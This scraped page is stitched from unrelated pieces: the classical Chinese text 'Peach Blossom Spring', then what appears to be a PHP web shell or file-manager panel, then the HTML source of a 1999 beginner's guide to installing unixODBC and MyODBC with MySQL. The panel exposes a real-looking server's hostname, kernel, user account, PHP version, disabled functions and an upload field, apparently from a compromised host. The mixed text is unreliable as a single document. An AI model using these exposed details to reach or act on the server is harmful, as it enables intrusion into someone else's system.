晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /usr/share/doc/unixODBC/doc/AdministratorManual/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN"> <HTML> <HEAD> <TITLE></TITLE> <META NAME="GENERATOR" CONTENT="StarOffice/5.1 (Linux)"> <META NAME="AUTHOR" CONTENT="Charles Morrison"> <META NAME="CREATED" CONTENT="19990831;225400"> <META NAME="CHANGEDBY" CONTENT="Charles Morrison"> <META NAME="CHANGED" CONTENT="19990914;11232600"> </HEAD> <BODY> <H3 ALIGN=CENTER>A neophyte's guide <BR>to getting unixODBC and Mysql/MyODBC working<BR><BR><BR> </H3> <H4>Introduction</H4> <P STYLE="margin-left: 0.79in">UnixODBC is an idea whose time has come. It holds many promises for those of us who use databases in our daily work and would like to do more of that work on Linux or one of the UNIX variants. Those coming from a windows background will rapidly discover that it can be much more involved setting up a working Unix based database than they are used to. They will also discover a world of great advantages too; stability, scalability and freely available source code are values not easily dismissed.</P> <P STYLE="margin-left: 0.79in">This document is designed to help people set up and use unixODBC. My database of choice is MySQL, which I have used with great success for several years, and it is the database I will discuss setting up</P> <P STYLE="margin-left: 0.79in">ODBC is an interface by which programs and programmers can communicate with any database which has an ODBC driver. While most databases have one or more APIs in various programming languages, ODBC allows the same programming code to talk with numerous types of databases. (ODBC is not the only interface to do this, but it is very widely used and supported)</P> <H4>Getting Started</H4> <P STYLE="margin-left: 0.79in">UnixODBC is available in source code only. This means that you download a tar file from <A HREF="http://www.unixODBC.org/">http://www.unixODBC.org</A> , extract it, compile it, and install it. Before you do so though you need some other things.</P> <H4>Prerequisets: </H4> <OL> <LI><P>The Qt toolkit version 2.x sources from <A HREF="http://www.troll.no/">http://www.troll.no</A> . Make sure it is version 2 or higher !</P> <OL> <LI><P>Download the Qt v2 sources.</P> <LI><P>Extract the sources to somewhere, usually this is done by placing the tar file in a directory like /usr/local or /opt and using the command.<BR><B>tar zxvf qt-2.0.1.tar.gz </B><BR>to extract the files. This will create a subdirectory qt-2.0.1 . Remember that only root can normally write to /usr/local or /opt. This is an exaple, use the name of the file you have.</P> <LI><P>Compile the sources. Assuming you have a relatively recent version of Linux with all the appropriate stuff (libg++, gcc or egcs etc) You issue 3 commands from the qt-2.0.1 directory.<BR><B>./configure</B><BR><B>make</B><BR><B>make install</B></P> <LI><P>This last command is scary since it will install the new libqt into places where any old v1.4x libqt may exist. Rest assured that the full name of the library is different and it will not overwrite your existing libqt. It should choke on rewriting the symlink to libqt.so and thus not mess up your existing Qt / KDE apps. If it does rewrite this link, you will need to set it back to its original link.</P> <LI><P>For more information, see <A HREF="http://www.troll.no/">http://www.troll.no</A> . Please don't bother the unixODBC people for instructions on setting up Qt.</P> </OL> </OL> <OL START=2> <LI><P>A Database - in this case MySQL from <A HREF="http://www.mysql.com/">http://www.mysql.com</A></P> <OL> <LI><P>Again, I strongly suggest you get the sources and compile them yourself. The process is similar if not identical to that for Qt described above. By default MySQL installs it's executable files in<B><I> /usr/local/bin</I></B>, it's include files (source headers) in <B><I>/usr/local/include/mysql</I></B> and it's libraries in <B><I>/usr/local/lib/mysql</I></B>. The actual database files are in <B><I>/usr/local/var</I>.</B></P> <LI><P>Before you can use MySQL, you need to run <BR><B>/usr/local/bin/mysql_install_db</B> <BR>as root to set up the system tables. To actually start the database, run <BR><B>/usr/local/bin/safe_mysqld &</B></P> <LI><P>MySQL comes with very extensive documentation. Refer to it for questions on compiling, installing and using MySQL. This is expecially true for permissions. If the permissions aren't correct, no interface will work.</P> </OL> </OL> <H4>Installing unixODBC</H4> <OL> <LI><P>As mentioned before, get the source tar file from <A HREF="http://www.unixodbc.org/">http://www.unixodbc.org</A> . As root, move the tar file to /op or /usr/local or where ever you want the source to reside. Untar the file and run the following commands from the command line in the unixODBC source directories:<BR><B>./configure</B><BR><B>./make</B><BR><B>./make install</B></P> <LI><P>Assuming that you have all the libraries and tools that it needs, you should be breezing through this compile. Certainly after all that practice with Qt and MySQL this should be old hat. UnixODBC takes quite a while to compile, actually all of these packages do. Relax and enjoy it. </P> </OL> <H4>Installing a Driver</H4> <P STYLE="margin-left: 0.79in">UnixODBC by itself isn't a whole lot of good without a driver. MySQL has an ODBC driver named MyODBC but it isn't included with the current edition of unixODBC, so you have to get it and compile it yourself. I'll be referring to version 2.50.24, the latest as of this writing. The installation is much the same as the other packages, but you need to give configure some options. It will prompt you for the path to the MySQL sources if you don't specify the path, but you also have to supply the <I>--with-unixODBC=</I><your unixODBC directory here> flag. The following is from the MyODBC INSTALL file: </P> <P STYLE="margin-left: 0.79in"><I> To make configure look for unixODBC instead of iODBC, use</I></P> <P STYLE="margin-left: 0.79in"><I> --with-unixODBC=DIR</I></P> <P STYLE="margin-left: 0.79in"><I> Where DIR is where unixODBC is installed.</I></P> <P STYLE="margin-left: 0.79in"><I> And (as usual), if the unixODBC headers and libraries aren't located</I></P> <P STYLE="margin-left: 0.79in"><I> in DIR/include and DIR/lib, use</I></P> <P STYLE="margin-left: 0.79in"><I> --with-unixODBC-libs=LIBDIR --with-unixODBC-includes=INCDIR</I></P> <P STYLE="margin-left: 0.79in"><I> You might want to specify a prefix other than /usr/local for installation,<BR> I, for example keep my ODBC drivers in /usr/local/odbc/lib, so I add</I></P> <P STYLE="margin-left: 0.79in"><I> --prefix=/usr/local/odbc</I></P> <P STYLE="margin-left: 0.79in">So here is my configure line:</P> <P STYLE="margin-left: 0.79in"><B>./configure <I>--with-unixodbc=/usr/local --with-mysql-sources=/usr/local/mysql</I></B></P> <P STYLE="margin-left: 0.79in">Running <B>make</B> and then <B>make install</B> puts the resulting library: <B>libmyodbc-2.50.23.so</B> into /usr/local/lib. WAIT A MINUTE ! Didn't I say it was version 2.50.24 ? Yes, I did. However, unless you want to go in and change the version info in the source code, it will create the library with that name. I don't consider this a big deal and so I didn't mess with it.</P> <P STYLE="margin-left: 0.79in">If you omit the <I>--with-mysql-sources</I> flag, configure will fail. If you omit the <SPAN STYLE="font-weight: medium"><I>--with-unixodbc</I></SPAN> flag, configure will complete and MyODBC will compile. However, it will not work correctly when using it with unixODBC. The problems described below occurred when I omitted this flag: <BR><BR>1) If the DSN (Data Source Name) you create is also the name of a database, the driver points to that database no matter what you specify the database to be.<BR>2) If the DSN is not the name of an existing database, it will fail, not allowing you to login to the database. The trace log file will tell you that it couldn't find a database with the name of the DSN. This is confusing if you specified a valid database name in the .odbc.ini file . </P> <P STYLE="margin-left: 0.79in">When using the <I>--with-unixodbc</I> flag, These problems dissappear and it works the way it should. </P> <P STYLE="margin-left: 0.79in">A note: MyODBC does not support ODBC version 3 as of version 2.50.24 . When writing programs that utilize this driver, I have had success with specifying V_OD_ODBC2 when calling SQLSetEnvAttr(...) .</P> <H4>Setting up unixODBC</H4> <P STYLE="margin-left: 0.79in">At long last we come to actually setting up unixODBC and using it. While most of this information exists on the unixODBC web pages and user's guide, I found it difficult to find and follow, so I repeat it here in hopes that it will be made clearer.</P> <P STYLE="margin-left: 0.79in">UnixODBC consists of a lot of libraries, installed in <B>/usr/local/lib</B>, and a few executable files (binaries) installed into <B>/usr/local/bin</B>. These executable files are <I>ODBCConfig</I>, <I>DataManager</I>, and <SPAN STYLE="font-weight: medium"><I>odbcinst</I></SPAN>. </P> <P><B>In order to get unixODBC running, do these things in this order:</B></P> <P><B>Do this as root...</B></P> <P STYLE="margin-left: 0.79in">In an xterm, type ODBCConfig . This is a GUI program and must be run in an X session. At the very least you need to set up a driver to use. The drivers will be specific to one database application, like MyODBC is specific to MySQL. In addition to this, you need to specify a setup file to use for this drive. The setup files are the <B>/usr/local/lib/libodbc*S.so</B> libraries where * signifies the database application, so <B>/usr/local/lib/libodbcmyS.so</B> is the "setup file" for MyODBC. The driver (not the setup file) is <B>/usr/local/lib/libmyodbc-2.50.23.so. </B> </P> <P STYLE="margin-left: 0.79in; font-weight: medium">To set up the driver, run ODBCConfig as root, go to the drivers tab and click on "New". The following are the settings I use...</P> <P STYLE="margin-left: 0.79in"><B>Name: myodbc<BR>Description: MySQL driver.<BR>Driver: /usr/local/lib/libmyodbc-2.50.23.so<BR>Setup: /usr/local/lib/libodbcmyS.so</B><BR><B>FileUsage: 1</B></P> <P STYLE="margin-left: 0.79in; font-weight: medium">You should have a driver set up before setting up a DSN. After having done so, you may want to set up a system DSN. You do this by selecting the "System DSN" tab, clicking on 'New', specifying the driver to use and filling in the required information. You will want to select the driver name you just defined as the Driver in the first screen that displays, and click OK.</P> <P STYLE="margin-left: 0.79in; font-weight: medium">Doing this as root will create and edit the <B>/usr/local/etc/odbcinst.ini</B> (for the driver info) and <B>/usr/local/etc/odbc.ini</B> (for the system DSN) files. Early versions of unixODBC would put these files in /etc, and you can still use a configure option : <I>--sysconfdir=/etc</I> to put those files in that location.</P> <P STYLE="font-weight: medium"><B>Do this as a normal user:</B> </P> <P STYLE="margin-left: 0.79in">The process for setting up a user DSN is identical to setting up a system DSN. You simply select the "User DSN" tab in ODBCConfig and fill out the required fields. The following is how I filled out a User DSN.</P> <P STYLE="margin-left: 0.79in"><B>Name: mysqltest<BR>Description: myodbc<BR>Driver: myodbc<BR>Trace: Yes<BR>TraceFile: mysql.log<BR>Host: localhost<BR>Port: 3306<BR>Socket:<BR>Database: test</B></P> <P STYLE="margin-left: 0.79in">This will create and edit a file named ~/.odbc.ini . Since the test database comes without any tables, you may want to specify mysql as the database instead, so you can see the tables when running DataManager.</P> <P><B>Run DataManager</B></P> <P STYLE="margin-left: 0.79in">Now you should be able to run DataManager and see your drivers, DSNs and tables for each DSN. See the unixODBC web site for screen shots of what it should look like. </P> <P><B>OK, Now What ?</B></P> <P STYLE="margin-left: 0.79in">UnixODBC is not so much an end user program, but rather an intermediary between a program and one or more databases. There is information in the unixODBC documentation for example, about setting up StarOffice to use an ODBC connection. I am in the process of writing a <A HREF="http://www.info2000.net/~cmorrison/databuilder.html">program</A> that makes use of unixODBC and numerous others are as well. It may well be that in time unixODBC will be included in numerous Linux distributions and installed by default. Until that time I hope that this document helps you get this sofware up and running.</P> <P ALIGN=RIGHT STYLE="margin-left: 0.79in">Charles Morrison<BR>cmorrison@info2000.net</P> </BODY> </HTML>